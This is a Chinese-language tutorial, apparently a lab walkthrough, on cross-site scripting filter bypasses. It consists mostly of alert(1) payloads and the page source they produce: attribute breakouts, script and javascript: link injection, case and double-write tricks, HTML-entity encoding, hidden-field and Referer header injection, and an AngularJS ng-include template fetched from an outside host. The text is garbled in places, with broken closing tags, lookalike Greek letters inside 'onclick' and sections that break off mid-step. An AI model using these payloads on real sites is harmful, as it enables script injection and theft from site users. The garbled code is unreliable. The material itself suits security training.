网页源码:
<input name=keyword value="">
对于这种input标签, 首先可以考虑使用 onclick 等事件来执行js.
先输入 <>
, "
, onclick()
等等提交, 查看页面源代码.
如果输入的符号没有被转义或替换, 说明前面可以闭合, 进一步测试.
查看源码:
<input name=keyword value="<>">
输入payload:
" οnclick="alert(1)
查看源码:
<input name=keyword value="" onclick="alert(1)">
这时前面的value被闭合, 后面多了一个事件, 单机文本框即可弹出.
标签来执行js.如果输入的 onclick 被替换为 o_nclick 等其他字符.
查看源码:
<input name=keyword value="" o_nclick="alert(1)">
前面value虽然闭合了, 但是后面无法执行事件. 那么可能一些类似的事件都被防御了.
此时考虑将前面的input标签整体闭合掉, 后面自己再构造一个新的标签执行js.
输入payload:
"/> <script>alert(1)script>
查看源码:
<input name=keyword value=""/> <script>alert(1)script>">
后面多出来的 ">
会作为普通字符显示, 不处理也没有关系.
标签不能用时, 考虑用其他标签来执行js.如果输入的
<input name=keyword value=""/> <scr_ipt>alert(1)script>">
前面的input标签虽然闭合了, 但是后面的script标签被替换了, 无法执行js.
此时考虑使用其他标签, 比如超链接.
输入payload:
"/> <a href="javascript:alert(1)">点我a>
查看源码:
<input name=keyword value=""/> <a href="javascript:alert(1)">点我a>">
如果输入的href
属性被替换为hr_ef
等其他字符.
查看源码:
<input name=keyword value=""/> <a hr_ef="javascript:alert(1)">点我a>">
输入payload:
" ONcLick="alert(1)
查看源码:
<input name=keyword value="" ONcLick="alert(1)">
点击输入框之后, ONcLick() 可以顺利触发事件, 执行js.
查看源码:
<input name=keyword value="" click="alert(1)">
这里看到防御措施将事件名替换成了click
, 导致事件失效.
猜测规律是将所有的on
替换为了空字符串.
那么使用双写将on
分开来绕过防御.
输入payload:
" oonnclick="alert(1)
查看源码:
<input name=keyword value="" onclick="alert(1)">
HTML字符实体
绕过.输入payload:
javascript:alert(1)
查看源码:
<a href="javascr_ipt:alert(1)">a>
这里javascript
被替换, 考虑使用HTML字符实体绕过.
将字符串转换为字符实体可以使用在线工具, 比如:
https://www.qqxiuzi.cn/bianma/zifushiti.php
将javascript:alert(1)
转换为10进制或16进制都可以:
输入payload:
javascript:alert(1)
查看源码:
<a href="javascript:alert(1)">a>
点击超链接可以顺利执行js.
HTML字符实体
在链接属性中无效, 考虑添加//http://
或//https://
.因为字符实体时没有尖括号或引号等特殊字符, 如果放在事件属性href
中可以绕过检测.
那么防御措施可能使用正则表达式来检测, 要求在链接属性中必须包含http://
或https://
, 否则判断为非法链接.
此时我们可以采用字符实体与http
相结合的方式绕过并执行js.
前半段依旧使用js代码的字符实体, 但是注意 javascript:alert(1)
后面需要多添加一个分号;
.
后面添加//http://
, 这里使用注释符号//
让http://
变成普通的字符串, 这样就不会影响前面需要执行的js.
将javascript:alert(1);
转换为10进制:
输入payload:
javascript:alert(1);//http://
查看源码:
<a html
href="javascript:alert(1);//http://">
a>
时, 考虑用URL编码换行符 %0D
, %0A
绕过.查看源码:
<center>testcenter>
输入payload:
keyword=<img src=1 onerror=alert(1)/>
查看源码:
<center> src=1 οnerrοr=alert(1) >center>
这里发现空格被替换了, 导致事件无法触发. 接着尝试用%0A
绕过.
输入payload:
keyword=
对于失效的Flash控件, onclick() 事件无法触发, 考虑使用 onmousrover() 事件. 例如:
上面代码在网页中嵌入一个Adobe Flash文件. 因为在2020年底之后, 主流的浏览器已经不支持Flash文件,
所以浏览器会显示 显示该插件不受支持
.
假设a与b是可控参数. 那么输入payload:
a=111&b=222 οnmοuseοver=alert(1)
当鼠标划过失效的flash控件时会触发js代码.
在页面中看不到任何可以输入的地方, 查看源码可以看到有隐藏的form表单.
<form id="search">
<input name="link" value="" type="hidden">
<input name="sort" value="" type="hidden">
form>
从源码的form可以看出是get请求, 那么这里有两种办法提交参数测试:
http://xxx/test.php?link=111&sort=222
接着查看源码:
<form id="search">
<input name="link" value="" type="hidden">
<input name="sort" value="222" type="hidden">
form>
<form id="search">
<input name="link" value="" type="text">
<input name="sort" value="" type="text">
<button>提交button>
form>
在输入框输入文本并提交后:
<form id="search">
<input name="link" value="" type="hidden">
<input name="sort" value="222" type="hidden">
form>
那么从这里可以看出 value="222"
就是可以利用的位置.
接着使用payload测试能否执行js.
因为F12是临时修改, 这里的控件在提交之后就会还原成隐藏的, 所以后面使用一个 type="button"
属性来替换掉原来的 type="hidden"
, 这样控件就可以被点击触发事件了.
输入payload:
hello" οnclick="alert(1)" type="button
查看源码:
<form id="search">
<input name="link" value="" type="hidden">
<input name="sort" value="hello" onclick="alert(1)" type="button">
form>
请求头注入
.在value提交注入后无效, 查看源码:
<form id="search">
<input name="link" value="" type="hidden">
<input name="sort" value="hello" onclick="alert(1)" type="button" type="hidden">
<input name="ref" value="http://xxx/text.php?ref=xxx">
form>
从F12工具观察value的双引号颜色不同, 没有有效闭合, 无法执行js.
将payload提交到ref
中发现也无法执行js.
猜测ref
的值可能来自请求头中的Referer
信息.
首先使用burpsuit
或者firefox
的Live HTTP headers
插件拦截请求.
在请求信息中添加或修改Referer
, 再发送请求.
输入payload:
Host: http://xxx/text.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: hello" οnclick="alert(1)" type="button
查看源码:
<form id="search">
<input name="link" value="" type="hidden">
<input name="sort" value="" type="hidden">
<input name="ref" value="hello" onclick="alert(1)" type="button" type="hidden">
form>
那么同样的原理, 如果发现源码中 input 中存在类似 name="ua"
, "name=cook"
等类似的命名,
也可以尝试拦截请求, 注入User-Agent
, cookie
等请求头.
AngularJS
ng-include
加载恶意模板在 AngularJS
中,使用 ng-include
加载内容时,该内容会被当作 AngularJS 模板处理,而不是普通的 HTML。
这意味着任何在加载的内容中的
如果在网页源码中发现引用了 angular.min.js
, 代码中使用了 ng-include
, 例如:
url: http://xxx/test.php?src=1.gif
查看源码:
<div ng-include="1.gif">div>
接着测试src
参数:
输入payload:
src=hello
查看源码:
<div ng-include="hello">div>
那么可以确定这里的ng-include
可以被控制.
接着准备一个包含恶意代码的Angular模板文件https://xxx.com/xss.html
, 内容如下:
<div ng-init="evilConstructor = constructor.constructor; evilFunction = evilConstructor('alert(1)'); evilFunction()">div>
通过src
参数可以加载它并触发alert(1).
输入payload:
src=https://xxx.com/xss.html
查看源码:
<div ng-include="https://xxx.com/xss.html">div>
代码使用了 AngularJS 的双向数据绑定和 JavaScript 的 constructor 属性来创建并执行一个新的函数,
这会触发 alert(1)。